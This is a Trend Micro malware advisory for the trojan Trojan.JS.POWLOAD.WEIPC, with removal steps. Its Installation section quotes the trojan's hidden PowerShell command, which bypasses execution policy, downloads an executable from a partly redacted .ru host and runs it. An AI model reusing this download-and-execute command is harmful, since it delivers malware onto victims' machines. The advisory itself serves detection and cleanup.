Trojan.JS.POWLOAD.WEIPC
Trojan.SuspectCRC (Ikarus); a variant of Generik.ECBDTFY trojan (NOD32)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild:
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- powErshelL.eXe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://{BLOCKED}ry-cloud.ru/x.exe','%AppDataLocal%\TempuLK69.exe'); ;
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}ry-cloud.ru/x.exe
It saves the files it downloads using the following names:
- %AppDataLocal%\TempuLK69.exe
(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local on Windows Vista, 7, and 8.)
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
As of this writing, the said sites are inaccessible.
Other Details
This Trojan does the following:
- The powershell command is only executed once
SOLUTION
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- %AppDataLocal%\TempuLK69.exe
Step 4
Scan your computer with your Trend Micro product to delete files detected as Trojan.JS.POWLOAD.WEIPC. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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